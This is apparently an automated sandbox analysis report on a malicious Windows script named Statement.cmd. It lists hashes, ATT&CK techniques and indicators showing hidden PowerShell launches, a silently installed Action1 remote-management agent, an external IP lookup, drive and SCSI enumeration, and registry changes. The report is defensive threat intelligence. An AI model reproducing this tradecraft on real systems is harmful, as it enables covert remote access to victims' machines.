e954616c5b469baf4350b1fe43803cb91c9b8dc35a3a90a4a4e1f8e7d729b007

Analysis

max time kernel
298s
max time network
275s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
11/05/2026, 09:23

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Remittance/Statement.cmd
Size 1KB
Sample260511-lcfevsd19s
SHA256 e954616c5b469baf4350b1fe43803cb91c9b8dc35a3a90a4a4e1f8e7d729b007
MD5 bb9dae4911183126b57542b83651cb4c
SHA1 4f711c6d3bd62c252e0fc9d5b7e70639e3644643
SHA512 1a94d25d1950c2c28c3104b7a89d9d118b46febcc487992556c9d9fe7fc9293b4da83dcbc1219ee70a01d29f4134e800093a19d6b8989091c5d77aa9db2820e9
TLSH
T1513100E12465381DDA279A50C80A03B2E7C26711CB013ADFB0E8E194BE057D5CBC7D8D
MD5 SHA1 SHA512 TLSH

Score

8^/10

defense_evasion discovery execution persistence ransomware

Malware Config

Signatures

Badlisted process makes network request 9 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	4736	powershell.exe
9	3392	msiexec.exe
10	3392	msiexec.exe
11	3392	msiexec.exe
17	4108	powershell.exe
20	4108	powershell.exe
21	4108	powershell.exe
23	700	powershell.exe
24	700	powershell.exe

Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

persistence

Active Setup

T1547.014

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000\Software\Microsoft\Active Setup\Installed Components	explorer.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 44 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4736	powershell.exe
5112	powershell.exe
4736	powershell.exe
4336	powershell.exe
2280	powershell.exe
1744	powershell.exe
3788	powershell.exe
1144	powershell.exe
4496	powershell.exe
1668	powershell.exe
5624	powershell.exe
564	powershell.exe
3216	powershell.exe
3520	powershell.exe
4668	powershell.exe
2124	powershell.exe
4764	powershell.exe
5084	powershell.exe
3832	powershell.exe
3936	powershell.exe
4076	powershell.exe
1436	powershell.exe
5288	powershell.exe
4040	powershell.exe
1156	powershell.exe
5452	powershell.exe
3996	powershell.exe
1200	powershell.exe
2352	powershell.exe
1928	powershell.exe
1136	powershell.exe
4440	powershell.exe
3096	powershell.exe
4108	powershell.exe
700	powershell.exe
616	powershell.exe
5180	powershell.exe
4716	powershell.exe
1064	powershell.exe
3496	powershell.exe
6104	powershell.exe
768	powershell.exe
5840	powershell.exe
6016	powershell.exe

Executes dropped EXE 4 IoCs

pid	Process
4544	action1_agent.exe
3140	action1_agent.exe
4152	action1_agent.exe
2444	action1_agent.exe

Loads dropped DLL 4 IoCs

pid	Process
5944	MsiExec.exe
5944	MsiExec.exe
5944	MsiExec.exe
4384	MsiExec.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\D:	explorer.exe
File opened (read-only)	\??\F:	explorer.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ifconfig.me
24	ifconfig.me

Drops file in System32 directory 44 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Action1\7971f918-a847-4430-9279-4a52d1efe18d	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Drops file in Windows directory 41 IoCs

description	ioc	Process
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI6CB4.tmp	msiexec.exe
File opened for modification	C:\Windows\Action1\logs\action1_log_2026-05-11_10-23-25~4544.log	action1_agent.exe
File created	C:\Windows\Action1\action1_agent.exe.connection	action1_agent.exe
File created	C:\Windows\Action1\schedule.json	action1_agent.exe
File created	C:\Windows\Action1\rule_data\1000.suppress	action1_agent.exe
File opened for modification	C:\Windows\SystemTemp\Tmp3EF3.tmp	powershell.exe
File opened for modification	C:\Windows\Installer\MSI6B58.tmp	msiexec.exe
File created	C:\Windows\Action1\sas.dll	msiexec.exe
File created	C:\Windows\Action1\action1_agent.exe	msiexec.exe
File opened for modification	C:\Windows\Installer\{A7C9C264-EAE3-44C5-83B2-E581E7FB8569}\ProductIcon	msiexec.exe
File created	C:\Windows\Action1\rules.json	action1_agent.exe
File created	C:\Windows\Action1\rule_data\1008.suppress	action1_agent.exe
File opened for modification	C:\Windows\Installer\MSI6BB8.tmp	msiexec.exe
File created	C:\Windows\Action1\action1_remote.exe	msiexec.exe
File created	C:\Windows\Action1\first_install.tmp	action1_agent.exe
File created	C:\Windows\Installer\e58668a.msi	msiexec.exe
File created	C:\Windows\Action1\previousUser.txt	powershell.exe
File created	C:\Windows\Action1\7z.dll	msiexec.exe
File created	C:\Windows\Action1\advanced_settings.json.tmp	action1_agent.exe
File opened for modification	C:\Windows\Installer\MSI6A9C.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\~DF3B4166A68ECE9FFE.TMP	msiexec.exe
File created	C:\Windows\Installer\wix{A7C9C264-EAE3-44C5-83B2-E581E7FB8569}.SchedServiceConfig.rmi	MsiExec.exe
File opened for modification	C:\Windows\SystemTemp\Tmp3EF4.tmp	powershell.exe
File created	C:\Windows\Installer\e586685.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\SystemTemp\~DFC549D306F80C1B90.TMP	msiexec.exe
File created	C:\Windows\Action1\datasource_data\1008.poll.tmp	action1_agent.exe
File created	C:\Windows\Action1\datasource_data\1000.poll.tmp	action1_agent.exe
File created	C:\Windows\Installer\SourceHash{A7C9C264-EAE3-44C5-83B2-E581E7FB8569}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI6BA8.tmp	msiexec.exe
File created	C:\Windows\Action1\action1_agent.exe.instance_lock	action1_agent.exe
File created	C:\Windows\Action1\what_is_this.txt	action1_agent.exe
File created	C:\Windows\Action1\agent_downgrade.version_pair.tmp	action1_agent.exe
File created	C:\Windows\Action1\action1_agent.exe.update_state	action1_agent.exe
File opened for modification	C:\Windows\Installer\e586685.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI6C65.tmp	msiexec.exe
File created	C:\Windows\Installer\{A7C9C264-EAE3-44C5-83B2-E581E7FB8569}\ProductIcon	msiexec.exe
File created	C:\Windows\SystemTemp\~DFB2B5B041FC09D594.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DF6D34877407085AE6.TMP	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	action1_agent.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	action1_agent.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	action1_agent.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	action1_agent.exe

Checks SCSI registry key(s) 3 TTPs 58 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0003	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0002	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\FriendlyName	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\HardwareID	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0002	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0002	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{a45c254e-df1c-4efd-8020-67d146a850e0}\0011	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Capabilities	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0003	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\FriendlyName	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\HardwareID	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{a45c254e-df1c-4efd-8020-67d146a850e0}\0011	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Capabilities	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0002	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Capabilities	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Capabilities	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004	explorer.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	SearchHost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	SearchHost.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
688	taskkill.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
